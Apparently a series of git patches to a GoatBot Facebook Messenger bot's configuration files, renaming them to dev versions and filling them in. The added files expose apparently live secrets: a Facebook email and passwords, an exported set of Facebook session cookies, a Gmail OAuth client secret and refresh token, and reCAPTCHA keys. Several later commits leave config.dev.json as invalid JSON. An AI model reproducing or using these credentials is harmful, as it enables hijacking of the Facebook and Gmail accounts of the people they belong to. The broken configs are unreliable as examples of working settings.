From d2dae1a63d788487b0160055e79f3311166d807d Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 15 Feb 2024 20:40:35 +0545 Subject: [PATCH 001/126] Update and rename config.json to config.dev.json --- config.dev.json | 37 ++++++++++++ config.json | 145 ------------------------------------------------ 2 files changed, 37 insertions(+), 145 deletions(-) create mode 100644 config.dev.json delete mode 100644 config.json diff --git a/config.dev.json b/config.dev.json new file mode 100644 index 0000000000..2e61bd41a9 --- /dev/null +++ b/config.dev.json @@ -0,0 +1,37 @@ +{ + "facebookAccount": { + "email": "hackereditor87@gmail.com", + "password": "MIA123", + "2FASecret": "", + "i_user": "", + "proxy": null, + "userAgent": "Mozilla/5.0 (Linux; Android 12; M2102J20SG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Mobile Safari/537.36", + "intervalGetNewCookie": 4320, + "notes": "time the system automatically retrieves new cookies from email/password, unit is minute, if you set null, the system will not automatically retrieve new cookies, it saves you from having to manually change your cookie every time it expires. recommended set to 1440 (1day) or 4320 (3day).TO BE ABLE TO USE THIS FEATURE YOU NEED TO ENTER THE ACCOUNT PASSWORD ABOVE" + }, + "antiInbox": false, + "language": "en", + "notesLanguage": "change to your language with ISO 639-1 code, available languages: vi (Vietnamese), en (English)", + "adminOnly": { + "enable": false, + "ignoreCommand": [] + }, + "adminBot": [ + "100094335527121", + "100074772216830", + "" + ], + "whiteListMode": { + "enable": false, + "whiteListIds": [], + "notes": "if you enable this feature, only the ids in the whiteListIds section can use the bot" + }, + "nickNameBot": "𝐁𝐎𝐓", + "ownerlink": "https://www.facebook.com/profile.php?id=100074772216830", + "prefix": "-", + "database": { + "type": "sqlite", + "uriMongodb": "", + "autoSyncWhenStart": false, + "autoRefreshThreadInfoFirstTime": true, + "notes": "(1) type selects 'json' or 'sqlite' or 'mongodb'. If you choose mongodb, enter uri connect mongodb in the uriMongodb section, instructions to get uri connect mongodb at: https://youtu.be/z1f9urHW5xY. I recommend using 'mongodb' or 'sqlite', json is not recommended because it is not stable. (2) when you set autoSyncWhenStart to true, the bot will automatically synchronize the data in the database when starting the bot, this will make the bot start slower. (3) when you set autoRefreshThreadInfoFirstTime to true, the bot will automatically refresh the thread information when get first message from the thread since starting the bot" diff --git a/config.json b/config.json deleted file mode 100644 index b9aebbbeea..0000000000 --- a/config.json +++ /dev/null @@ -1,145 +0,0 @@ -{ - "facebookAccount": { - "email": "", - "password": "", - "2FASecret": "", - "i_user": "", - "proxy": null, - "userAgent": "Mozilla/5.0 (Linux; Android 12; M2102J20SG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Mobile Safari/537.36", - "intervalGetNewCookie": 1440, - "notes": "time the system automatically retrieves new cookies from email/password, unit is minute, if you set null, the system will not automatically retrieve new cookies, it saves you from having to manually change your cookie every time it expires. recommended set to 1440 (1day) or 4320 (3day).TO BE ABLE TO USE THIS FEATURE YOU NEED TO ENTER THE ACCOUNT PASSWORD ABOVE" - }, - "antiInbox": false, - "language": "en", - "notesLanguage": "change to your language with ISO 639-1 code, available languages: vi (Vietnamese), en (English)", - "nickNameBot": "GoatBot", - "prefix": "-", - "adminOnly": { - "enable": false, - "ignoreCommand": [] - }, - "adminBot": [], - "whiteListMode": { - "enable": false, - "whiteListIds": [], - "notes": "if you enable this feature, only the ids in the whiteListIds list can use the bot" - }, - "whiteListModeThread": { - "enable": false, - "whiteListThreadIds": [], - "notes": "if you enable this feature, only the thread in the whiteListThreadIds list can use the bot", - "how_it_work": "if you enable both whiteListMode and whiteListModeThread, the system will check if the user is in whiteListIds, then check if the thread is in whiteListThreadIds, if one of the conditions is true, the user can use the bot" - }, - "database": { - "type": "sqlite", - "uriMongodb": "", - "autoSyncWhenStart": false, - "autoRefreshThreadInfoFirstTime": true, - "notes": "(1) type selects 'json' or 'sqlite' or 'mongodb'. If you choose mongodb, enter uri connect mongodb in the uriMongodb section, instructions to get uri connect mongodb at: https://youtu.be/z1f9urHW5xY. I recommend using 'mongodb' or 'sqlite', json is not recommended because it is not stable. (2) when you set autoSyncWhenStart to true, the bot will automatically synchronize the data in the database when starting the bot, this will make the bot start slower. (3) when you set autoRefreshThreadInfoFirstTime to true, the bot will automatically refresh the thread information when get first message from the thread since starting the bot" - }, - "timeZone": "Asia/Ho_Chi_Minh", - "credentials": { - "gmailAccount": { - "email": "", - "clientId": "", - "clientSecret": "", - "refreshToken": "", - "apiKey": "" - }, - "gRecaptcha": { - "siteKey": "", - "secretKey": "" - } - }, - "dashBoard": { - "enable": true, - "expireVerifyCode": 300000, - "port": 3001 - }, - "serverUptime": { - "enable": false, - "port": 3001, - "socket": { - "enable": true, - "channelName": "uptime", - "verifyToken": "" - } - }, - "autoRestart": { - "time": null, - "notes": "you can set time is interval with milisecond or cron time, example: 1000, 10000, 60000, 3600000, 86400000, 0 0 * * *,... docs: https://www.npmjs.com/package/node-cron. If you set time is 0 or false or null, the bot will not auto restart" - }, - "autoUptime": { - "enable": false, - "timeInterval": 180, - "url": "", - "notes": "the value of timeInterval is seconds, url is the url you want to send the request to (automatically detected for hosting glitch or replit)" - }, - "autoLoadScripts": { - "enable": false, - "ignoreCmds": "", - "ignoreEvents": "", - "notes": "this feature will automatically load the script when scripts have been changed, you can set ignoreCmds to ignore commands, ignoreEvents to ignore events, separate by comma or space, example: \"cmd1.js cmd2.js cmd3.js\" (without backslash)" - }, - "autoRefreshFbstate": true, - "autoReloginWhenChangeAccount": false, - "autoRestartWhenListenMqttError": false, - "restartListenMqtt": { - "enable": true, - "timeRestart": 3600000, - "delayAfterStopListening": 2000, - "logNoti": true, - "notes": "the value of timeRestart and delayAfterStopListening is milisecond, You shouldn't edit this if you don't know what it is" - }, - "notiWhenListenMqttError": { - "notes": "This is the message when the bot is listening to the mqtt server and the mqtt server stops working due to account problems such as: locked acc, blocked due to spam,... bot will automatically send notifications to parts of your settings. You must change enable to true to use this feature. See bot/login/handlerWhenListenHasError.js file for details on how it works", - "gmail": { - "enable": false, - "emailGetNoti": "", - "note": "Bot will use gmailAccount to send email to emailGetNoti, can send notifications to many email, separate by comma or space, example: \"example1@gmail.com example2@gmail.com\" (without backslash)" - }, - "telegram": { - "enable": false, - "botToken": "", - "chatId": "", - "note": "Can send notifications to many chatId, separate by comma or space, example: \"123456789 987654321\" (without backslash)" - }, - "discordHook": { - "enable": false, - "webhookUrl": "", - "note": "Can send notifications to many webhookUrl, separate by comma or space, example: \"https://discord.com/api/webhooks/123456789/123456789 https://discord.com/api/webhooks/987654321/987654321\" (without backslash)" - } - }, - "hideNotiMessage": { - "commandNotFound": false, - "adminOnly": false, - "threadBanned": false, - "userBanned": false, - "needRoleToUseCmd": false, - "needRoleToUseCmdOnReply": false, - "needRoleToUseCmdOnReaction": false - }, - "logEvents": { - "disableAll": false, - "message": true, - "message_reaction": true, - "message_unsend": true, - "message_reply": true, - "event": true, - "read_receipt": false, - "typ": false, - "presence": false - }, - "optionsFca": { - "forceLogin": true, - "listenEvents": true, - "updatePresence": true, - "listenTyping": true, - "logLevel": "error", - "selfListen": false, - "selfListenEvent": true, - "autoMarkDelivery": false, - "autoReconnect": false, - "notes": "Document here: https://github.com/ntkhang03/fb-chat-api/blob/master/DOCS.md#apisetoptionsoptions " - } -} \ No newline at end of file From d9886e013e61dc4672222de48b9116865b8b095e Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 15 Feb 2024 20:42:02 +0545 Subject: [PATCH 002/126] Update and rename account.txt to account.dev.txt --- account.dev.txt | 110 ++++++++++++++++++++++++++++++++++++++++++++++++ account.txt | 0 2 files changed, 110 insertions(+) create mode 100644 account.dev.txt delete mode 100644 account.txt diff --git a/account.dev.txt b/account.dev.txt new file mode 100644 index 0000000000..ab4d86e29a --- /dev/null +++ b/account.dev.txt @@ -0,0 +1,110 @@ +[ + { + "key": "dbln", + "value": "%7B%22100074772216830%22%3A%22tVoIjhoD%22%2C%2261555275464534%22%3A%22yjjHa04F%22%7D", + "domain": "facebook.com", + "path": "/login/device-based/", + "hostOnly": false, + "creation": "2024-02-15T14:56:51.133Z", + "lastAccessed": "2024-02-15T14:56:51.133Z" + }, + { + "key": "datr", + "value": "BaeeZTbWioaazmt0uK9ecGyP", + "domain": "facebook.com", + "path": "/", + "hostOnly": false, + "creation": "2024-02-15T14:56:51.133Z", + "lastAccessed": "2024-02-15T14:56:51.133Z" + }, + { + "key": "sb", + "value": "BaeeZQN_-HYgGfLcau0t7GbV", + "domain": "facebook.com", + "path": "/", + "hostOnly": false, + "creation": "2024-02-15T14:56:51.133Z", + "lastAccessed": "2024-02-15T14:56:51.133Z" + }, + { + "key": "ps_n", + "value": "0", + "domain": "facebook.com", + "path": "/", + "hostOnly": false, + "creation": "2024-02-15T14:56:51.133Z", + "lastAccessed": "2024-02-15T14:56:51.133Z" + }, + { + "key": "ps_l", + "value": "0", + "domain": "facebook.com", + "path": "/", + "hostOnly": false, + "creation": "2024-02-15T14:56:51.133Z", + "lastAccessed": "2024-02-15T14:56:51.133Z" + }, + { + "key": "vpd", + "value": "v1%3B764x393x2.75", + "domain": "facebook.com", + "path": "/", + "hostOnly": false, + "creation": "2024-02-15T14:56:51.133Z", + "lastAccessed": "2024-02-15T14:56:51.133Z" + }, + { + "key": "wd", + "value": "393x764", + "domain": "facebook.com", + "path": "/", + "hostOnly": false, + "creation": "2024-02-15T14:56:51.133Z", + "lastAccessed": "2024-02-15T14:56:51.133Z" + }, + { + "key": "fr", + "value": "0Ww0kmhxfAwOrel32.AWWBu_GlKw7R4iU85fnGVao0SAk.Bln1Ql.KJ.AAA.0.0.BlzOLl.AWXbMplzb1Q", + "domain": "facebook.com", + "path": "/", + "hostOnly": false, + "creation": "2024-02-15T14:56:51.133Z", + "lastAccessed": "2024-02-15T14:56:51.133Z" + }, + { + "key": "c_user", + "value": "100024924846681", + "domain": "facebook.com", + "path": "/", + "hostOnly": false, + "creation": "2024-02-15T14:56:51.133Z", + "lastAccessed": "2024-02-15T14:56:51.133Z" + }, + { + "key": "xs", + "value": "49%3ARpJxBq-Bpt_dww%3A2%3A1707926246%3A-1%3A3807", + "domain": "facebook.com", + "path": "/", + "hostOnly": false, + "creation": "2024-02-15T14:56:51.133Z", + "lastAccessed": "2024-02-15T14:56:51.133Z" + }, + { + "key": "locale", + "value": "en_US", + "domain": "facebook.com", + "path": "/", + "hostOnly": false, + "creation": "2024-02-15T14:56:51.133Z", + "lastAccessed": "2024-02-15T14:56:51.133Z" + }, + { + "key": "wl_cbv", + "value": "v2%3Bclient_version%3A2408%3Btimestamp%3A1708009006", + "domain": "facebook.com", + "path": "/", + "hostOnly": false, + "creation": "2024-02-15T14:56:51.133Z", + "lastAccessed": "2024-02-15T14:56:51.133Z" + } +] diff --git a/account.txt b/account.txt deleted file mode 100644 index e69de29bb2..0000000000 From d428f873b51ce669d68ce24a90f754460657736a Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 15 Feb 2024 20:42:57 +0545 Subject: [PATCH 003/126] Rename configCommands.json to configCommands.dev.json --- configCommands.json => configCommands.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename configCommands.json => configCommands.dev.json (99%) diff --git a/configCommands.json b/configCommands.dev.json similarity index 99% rename from configCommands.json rename to configCommands.dev.json index a237fd95df..3f9d496ec9 100644 --- a/configCommands.json +++ b/configCommands.dev.json @@ -29,4 +29,4 @@ "allow": true } } -} \ No newline at end of file +} From ab91c911e216236d6cf5c4d4c890a6888779e8fd Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 15 Feb 2024 20:57:56 +0545 Subject: [PATCH 004/126] Update config.dev.json --- config.dev.json | 106 +++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 104 insertions(+), 2 deletions(-) diff --git a/config.dev.json b/config.dev.json index 2e61bd41a9..ba021f9688 100644 --- a/config.dev.json +++ b/config.dev.json @@ -27,11 +27,113 @@ "notes": "if you enable this feature, only the ids in the whiteListIds section can use the bot" }, "nickNameBot": "𝐁𝐎𝐓", - "ownerlink": "https://www.facebook.com/profile.php?id=100074772216830", - "prefix": "-", "database": { "type": "sqlite", "uriMongodb": "", "autoSyncWhenStart": false, "autoRefreshThreadInfoFirstTime": true, "notes": "(1) type selects 'json' or 'sqlite' or 'mongodb'. If you choose mongodb, enter uri connect mongodb in the uriMongodb section, instructions to get uri connect mongodb at: https://youtu.be/z1f9urHW5xY. I recommend using 'mongodb' or 'sqlite', json is not recommended because it is not stable. (2) when you set autoSyncWhenStart to true, the bot will automatically synchronize the data in the database when starting the bot, this will make the bot start slower. (3) when you set autoRefreshThreadInfoFirstTime to true, the bot will automatically refresh the thread information when get first message from the thread since starting the bot" + }, + "timeZone": "Asia/Ho_Chi_Minh", + "credentials": { + "gmailAccount": { + "email": "cliffbotbeluga@gmail.com", + "clientId": "335951889803-q0sqvpqjire12vl0c1drqpvq6trqe7qi.apps.googleusercontent.com", + "clientSecret": "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", + "refreshToken": "1//04vKSsirtbMjRCgYIARAAGAQSNwF-L9Ir45Y2gJy6rg7wvfCbzF5fTFQxOhV83N6jQC-N5n6S-rNnEUgujiuWu4OvrLEbmELMcSI", + "apiKey": "" + }, + "gRecaptcha": { + "siteKey": "6LcEPTMpAAAAAKRhQmTp03g4rkq-U6jXs8E8rDf5", + "secretKey": "6LcEPTMpAAAAAKRhQmTp03g4rkq-U6jXs8E8rDf5" + } + }, + "dashBoard": { + "enable": true, + "expireVerifyCode": 300000, + "port": 3001 + }, + "serverUptime": { + "enable": false, + "port": 3001, + "socket": { + "enable": true, + "channelName": "uptime", + "verifyToken": "" + } + }, + "autoRestart": { + "time": 3600000, + "notes": "you can set time is interval with milisecond or cron time, example: 1000, 10000, 60000, 3600000, 86400000, 0 0 * * *,... docs: https://www.npmjs.com/package/node-cron. If you set time is 0 or false or null, the bot will not auto restart" + }, + "autoUptime": { + "enable": true, + "timeInterval": 500, + "url": "https://uptime.botrandom30.repl.co", + "notes": "the value of timeInterval is seconds, url is the url you want to send the request to (automatically detected for hosting glitch or replit)" + }, + "autoLoadScripts": { + "enable": false, + "ignoreCmds": "", + "ignoreEvents": "", + "notes": "this feature will automatically load the script when scripts have been changed, you can set ignoreCmds to ignore commands, ignoreEvents to ignore events, separate by comma or space, example: \"cmd1.js cmd2.js cmd3.js\" (without backslash)" + }, + "autoRefreshFbstate": true, + "autoReloginWhenChangeAccount": false, + "autoRestartWhenListenMqttError": false, + "restartListenMqtt": { + "disable": false, + "timeRestart": 0, + "delayAfterStopListening": 0, + "logNoti": false, + "notes": "the value of timeRestart and delayAfterStopListening is milisecond, You shouldn't edit this if you don't know what it is" + }, + "notiWhenListenMqttError": { + "notes": "This is the message when the bot is listening to the mqtt server and the mqtt server stops working due to account problems such as: locked acc, blocked due to spam,... bot will automatically send notifications to parts of your settings. You must change enable to true to use this feature. See bot/login/handlerWhenListenHasError.js file for details on how it works", + "gmail": { + "enable": false, + "emailGetNoti": "", + "note": "Bot will use gmailAccount to send email to emailGetNoti, can send notifications to many email, separate by comma or space, example: \"example1@gmail.com example2@gmail.com\" (without backslash)" + }, + "telegram": { + "enable": false, + "botToken": "", + "chatId": "", + "note": "Can send notifications to many chatId, separate by comma or space, example: \"123456789 987654321\" (without backslash)" + }, + "discordHook": { + "enable": false, + "webhookUrl": "", + "note": "Can send notifications to many webhookUrl, separate by comma or space, example: \"https://discord.com/api/webhooks/123456789/123456789 https://discord.com/api/webhooks/987654321/987654321\" (without backslash)" + } + }, + "hideNotiMessage": { + "wrongCommand": false, + "adminOnly": false, + "threadBanned": false, + "userBanned": false + }, + "logEvents": { + "disableAll": false, + "message": true, + "message_reaction": true, + "message_unsend": true, + "message_reply": true, + "event": true, + "read_receipt": false, + "typ": false, + "presence": false + }, + "optionsFca": { + "forceLogin": true, + "listenEvents": true, + "updatePresence": true, + "listenTyping": true, + "logLevel": "error", + "selfListen": false, + "selfListenEvent": true, + "autoMarkDelivery": false, + "autoReconnect": true, + "notes": "Document here: https://github.com/ntkhang03/fb-chat-api/blob/master/DOCS.md#apisetoptionsoptions " + } +} From 26cd8c61a97eab69ac35693f95c71228872a8187 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Fri, 16 Feb 2024 07:08:56 +0545 Subject: [PATCH 005/126] Update config.dev.json --- config.dev.json | 277 +++++++++++++++++++++++++----------------------- 1 file changed, 143 insertions(+), 134 deletions(-) diff --git a/config.dev.json b/config.dev.json index ba021f9688..0e2ced0547 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,139 +1,148 @@ { - "facebookAccount": { - "email": "hackereditor87@gmail.com", - "password": "MIA123", - "2FASecret": "", - "i_user": "", - "proxy": null, - "userAgent": "Mozilla/5.0 (Linux; Android 12; M2102J20SG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Mobile Safari/537.36", - "intervalGetNewCookie": 4320, - "notes": "time the system automatically retrieves new cookies from email/password, unit is minute, if you set null, the system will not automatically retrieve new cookies, it saves you from having to manually change your cookie every time it expires. recommended set to 1440 (1day) or 4320 (3day).TO BE ABLE TO USE THIS FEATURE YOU NEED TO ENTER THE ACCOUNT PASSWORD ABOVE" - }, - "antiInbox": false, - "language": "en", - "notesLanguage": "change to your language with ISO 639-1 code, available languages: vi (Vietnamese), en (English)", - "adminOnly": { - "enable": false, - "ignoreCommand": [] - }, - "adminBot": [ + "facebookAccount": { + "email": "hackereditor87@gmail.com", + "password": "HACKER.555", + "2FASecret": "", + "i_user": "", + "proxy": null, + "userAgent": "Mozilla/5.0 (Linux; Android 12; M2102J20SG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Mobile Safari/537.36", + "intervalGetNewCookie": 1440, + "notes": "time the system automatically retrieves new cookies from email/password, unit is minute, if you set null, the system will not automatically retrieve new cookies, it saves you from having to manually change your cookie every time it expires. recommended set to 1440 (1day) or 4320 (3day).TO BE ABLE TO USE THIS FEATURE YOU NEED TO ENTER THE ACCOUNT PASSWORD ABOVE" + }, + "antiInbox": false, + "language": "en", + "notesLanguage": "change to your language with ISO 639-1 code, available languages: vi (Vietnamese), en (English)", + "nickNameBot": "GoatBot", + "prefix": "-", + "adminOnly": { + "enable": false, + "ignoreCommand": [] + }, +"adminBot": [ "100094335527121", "100074772216830", "" - ], - "whiteListMode": { - "enable": false, - "whiteListIds": [], - "notes": "if you enable this feature, only the ids in the whiteListIds section can use the bot" - }, - "nickNameBot": "𝐁𝐎𝐓", - "database": { - "type": "sqlite", - "uriMongodb": "", - "autoSyncWhenStart": false, - "autoRefreshThreadInfoFirstTime": true, - "notes": "(1) type selects 'json' or 'sqlite' or 'mongodb'. If you choose mongodb, enter uri connect mongodb in the uriMongodb section, instructions to get uri connect mongodb at: https://youtu.be/z1f9urHW5xY. I recommend using 'mongodb' or 'sqlite', json is not recommended because it is not stable. (2) when you set autoSyncWhenStart to true, the bot will automatically synchronize the data in the database when starting the bot, this will make the bot start slower. (3) when you set autoRefreshThreadInfoFirstTime to true, the bot will automatically refresh the thread information when get first message from the thread since starting the bot" - }, - "timeZone": "Asia/Ho_Chi_Minh", - "credentials": { - "gmailAccount": { - "email": "cliffbotbeluga@gmail.com", - "clientId": "335951889803-q0sqvpqjire12vl0c1drqpvq6trqe7qi.apps.googleusercontent.com", - "clientSecret": "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", - "refreshToken": "1//04vKSsirtbMjRCgYIARAAGAQSNwF-L9Ir45Y2gJy6rg7wvfCbzF5fTFQxOhV83N6jQC-N5n6S-rNnEUgujiuWu4OvrLEbmELMcSI", - "apiKey": "" - }, - "gRecaptcha": { - "siteKey": "6LcEPTMpAAAAAKRhQmTp03g4rkq-U6jXs8E8rDf5", - "secretKey": "6LcEPTMpAAAAAKRhQmTp03g4rkq-U6jXs8E8rDf5" - } - }, - "dashBoard": { - "enable": true, - "expireVerifyCode": 300000, - "port": 3001 - }, - "serverUptime": { - "enable": false, - "port": 3001, - "socket": { - "enable": true, - "channelName": "uptime", - "verifyToken": "" - } - }, - "autoRestart": { - "time": 3600000, - "notes": "you can set time is interval with milisecond or cron time, example: 1000, 10000, 60000, 3600000, 86400000, 0 0 * * *,... docs: https://www.npmjs.com/package/node-cron. If you set time is 0 or false or null, the bot will not auto restart" - }, - "autoUptime": { - "enable": true, - "timeInterval": 500, - "url": "https://uptime.botrandom30.repl.co", - "notes": "the value of timeInterval is seconds, url is the url you want to send the request to (automatically detected for hosting glitch or replit)" - }, - "autoLoadScripts": { - "enable": false, - "ignoreCmds": "", - "ignoreEvents": "", - "notes": "this feature will automatically load the script when scripts have been changed, you can set ignoreCmds to ignore commands, ignoreEvents to ignore events, separate by comma or space, example: \"cmd1.js cmd2.js cmd3.js\" (without backslash)" - }, - "autoRefreshFbstate": true, - "autoReloginWhenChangeAccount": false, - "autoRestartWhenListenMqttError": false, - "restartListenMqtt": { - "disable": false, - "timeRestart": 0, - "delayAfterStopListening": 0, - "logNoti": false, - "notes": "the value of timeRestart and delayAfterStopListening is milisecond, You shouldn't edit this if you don't know what it is" - }, - "notiWhenListenMqttError": { - "notes": "This is the message when the bot is listening to the mqtt server and the mqtt server stops working due to account problems such as: locked acc, blocked due to spam,... bot will automatically send notifications to parts of your settings. You must change enable to true to use this feature. See bot/login/handlerWhenListenHasError.js file for details on how it works", - "gmail": { - "enable": false, - "emailGetNoti": "", - "note": "Bot will use gmailAccount to send email to emailGetNoti, can send notifications to many email, separate by comma or space, example: \"example1@gmail.com example2@gmail.com\" (without backslash)" - }, - "telegram": { - "enable": false, - "botToken": "", - "chatId": "", - "note": "Can send notifications to many chatId, separate by comma or space, example: \"123456789 987654321\" (without backslash)" - }, - "discordHook": { - "enable": false, - "webhookUrl": "", - "note": "Can send notifications to many webhookUrl, separate by comma or space, example: \"https://discord.com/api/webhooks/123456789/123456789 https://discord.com/api/webhooks/987654321/987654321\" (without backslash)" - } - }, - "hideNotiMessage": { - "wrongCommand": false, - "adminOnly": false, - "threadBanned": false, - "userBanned": false - }, - "logEvents": { - "disableAll": false, - "message": true, - "message_reaction": true, - "message_unsend": true, - "message_reply": true, - "event": true, - "read_receipt": false, - "typ": false, - "presence": false - }, - "optionsFca": { - "forceLogin": true, - "listenEvents": true, - "updatePresence": true, - "listenTyping": true, - "logLevel": "error", - "selfListen": false, - "selfListenEvent": true, - "autoMarkDelivery": false, - "autoReconnect": true, - "notes": "Document here: https://github.com/ntkhang03/fb-chat-api/blob/master/DOCS.md#apisetoptionsoptions " - } + "whiteListMode": { + "enable": false, + "whiteListIds": [], + "notes": "if you enable this feature, only the ids in the whiteListIds list can use the bot" + }, + "whiteListModeThread": { + "enable": false, + "whiteListThreadIds": [], + "notes": "if you enable this feature, only the thread in the whiteListThreadIds list can use the bot", + "how_it_work": "if you enable both whiteListMode and whiteListModeThread, the system will check if the user is in whiteListIds, then check if the thread is in whiteListThreadIds, if one of the conditions is true, the user can use the bot" + }, + "database": { + "type": "sqlite", + "uriMongodb": "", + "autoSyncWhenStart": false, + "autoRefreshThreadInfoFirstTime": true, + "notes": "(1) type selects 'json' or 'sqlite' or 'mongodb'. If you choose mongodb, enter uri connect mongodb in the uriMongodb section, instructions to get uri connect mongodb at: https://youtu.be/z1f9urHW5xY. I recommend using 'mongodb' or 'sqlite', json is not recommended because it is not stable. (2) when you set autoSyncWhenStart to true, the bot will automatically synchronize the data in the database when starting the bot, this will make the bot start slower. (3) when you set autoRefreshThreadInfoFirstTime to true, the bot will automatically refresh the thread information when get first message from the thread since starting the bot" + }, + "timeZone": "Asia/Ho_Chi_Minh", + "credentials": { + "gmailAccount": { + "email": "cliffbotbeluga@gmail.com", + "clientId": "335951889803-q0sqvpqjire12vl0c1drqpvq6trqe7qi.apps.googleusercontent.com", + "clientSecret": "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", + "refreshToken": "1//04vKSsirtbMjRCgYIARAAGAQSNwF-L9Ir45Y2gJy6rg7wvfCbzF5fTFQxOhV83N6jQC-N5n6S-rNnEUgujiuWu4OvrLEbmELMcSI", + "apiKey": "" + }, + "gRecaptcha": { + "siteKey": "6LcEPTMpAAAAAKRhQmTp03g4rkq-U6jXs8E8rDf5", + "secretKey": "6LcEPTMpAAAAAKRhQmTp03g4rkq-U6jXs8E8rDf5" + } + }, + "dashBoard": { + "enable": true, + "expireVerifyCode": 300000, + "port": 3001 + }, + "serverUptime": { + "enable": false, + "port": 3001, + "socket": { + "enable": true, + "channelName": "uptime", + "verifyToken": "" + } + }, + "autoRestart": { + "time": null, + "notes": "you can set time is interval with milisecond or cron time, example: 1000, 10000, 60000, 3600000, 86400000, 0 0 * * *,... docs: https://www.npmjs.com/package/node-cron. If you set time is 0 or false or null, the bot will not auto restart" + }, + "autoUptime": { + "enable": false, + "timeInterval": 180, + "url": "", + "notes": "the value of timeInterval is seconds, url is the url you want to send the request to (automatically detected for hosting glitch or replit)" + }, + "autoLoadScripts": { + "enable": false, + "ignoreCmds": "", + "ignoreEvents": "", + "notes": "this feature will automatically load the script when scripts have been changed, you can set ignoreCmds to ignore commands, ignoreEvents to ignore events, separate by comma or space, example: \"cmd1.js cmd2.js cmd3.js\" (without backslash)" + }, + "autoRefreshFbstate": true, + "autoReloginWhenChangeAccount": false, + "autoRestartWhenListenMqttError": false, + "restartListenMqtt": { + "enable": true, + "timeRestart": 3600000, + "delayAfterStopListening": 2000, + "logNoti": true, + "notes": "the value of timeRestart and delayAfterStopListening is milisecond, You shouldn't edit this if you don't know what it is" + }, + "notiWhenListenMqttError": { + "notes": "This is the message when the bot is listening to the mqtt server and the mqtt server stops working due to account problems such as: locked acc, blocked due to spam,... bot will automatically send notifications to parts of your settings. You must change enable to true to use this feature. See bot/login/handlerWhenListenHasError.js file for details on how it works", + "gmail": { + "enable": false, + "emailGetNoti": "", + "note": "Bot will use gmailAccount to send email to emailGetNoti, can send notifications to many email, separate by comma or space, example: \"example1@gmail.com example2@gmail.com\" (without backslash)" + }, + "telegram": { + "enable": false, + "botToken": "", + "chatId": "", + "note": "Can send notifications to many chatId, separate by comma or space, example: \"123456789 987654321\" (without backslash)" + }, + "discordHook": { + "enable": false, + "webhookUrl": "", + "note": "Can send notifications to many webhookUrl, separate by comma or space, example: \"https://discord.com/api/webhooks/123456789/123456789 https://discord.com/api/webhooks/987654321/987654321\" (without backslash)" + } + }, + "hideNotiMessage": { + "commandNotFound": false, + "adminOnly": false, + "threadBanned": false, + "userBanned": false, + "needRoleToUseCmd": false, + "needRoleToUseCmdOnReply": false, + "needRoleToUseCmdOnReaction": false + }, + "logEvents": { + "disableAll": false, + "message": true, + "message_reaction": true, + "message_unsend": true, + "message_reply": true, + "event": true, + "read_receipt": false, + "typ": false, + "presence": false + }, + "optionsFca": { + "forceLogin": true, + "listenEvents": true, + "updatePresence": true, + "listenTyping": true, + "logLevel": "error", + "selfListen": false, + "selfListenEvent": true, + "autoMarkDelivery": false, + "autoReconnect": false, + "notes": "Document here: https://github.com/ntkhang03/fb-chat-api/blob/master/DOCS.md#apisetoptionsoptions " + } } From 400b56c14c8991f383f364996ecb96d433352bb6 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Fri, 16 Feb 2024 07:12:04 +0545 Subject: [PATCH 006/126] Update config.dev.json --- config.dev.json | 1 - 1 file changed, 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index 0e2ced0547..4120cf0dda 100644 --- a/config.dev.json +++ b/config.dev.json @@ -21,7 +21,6 @@ "adminBot": [ "100094335527121", "100074772216830", - "" "whiteListMode": { "enable": false, "whiteListIds": [], From 3d43ee40039334e3cc325a36e034679093b84e08 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sat, 17 Feb 2024 00:46:39 +0545 Subject: [PATCH 007/126] Update config.dev.json --- config.dev.json | 1 + 1 file changed, 1 insertion(+) diff --git a/config.dev.json b/config.dev.json index 4120cf0dda..37b4752f15 100644 --- a/config.dev.json +++ b/config.dev.json @@ -21,6 +21,7 @@ "adminBot": [ "100094335527121", "100074772216830", +] "whiteListMode": { "enable": false, "whiteListIds": [], From da516fce377d2bec20e2bb6b24e9073e2824c036 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sat, 17 Feb 2024 00:49:30 +0545 Subject: [PATCH 008/126] Update config.dev.json --- config.dev.json | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/config.dev.json b/config.dev.json index 37b4752f15..4815d2a97b 100644 --- a/config.dev.json +++ b/config.dev.json @@ -20,8 +20,7 @@ }, "adminBot": [ "100094335527121", - "100074772216830", -] + ], "whiteListMode": { "enable": false, "whiteListIds": [], From 04dd417edb44338271c04a14170599bd42e173fb Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sat, 17 Feb 2024 00:51:53 +0545 Subject: [PATCH 009/126] Update config.dev.json --- config.dev.json | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/config.dev.json b/config.dev.json index 4815d2a97b..f958001871 100644 --- a/config.dev.json +++ b/config.dev.json @@ -18,9 +18,7 @@ "enable": false, "ignoreCommand": [] }, -"adminBot": [ - "100094335527121", - ], +"adminBot": [], "whiteListMode": { "enable": false, "whiteListIds": [], From 4894962f8cc602522f5ee45184c985e6c3749b20 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sat, 17 Feb 2024 00:56:38 +0545 Subject: [PATCH 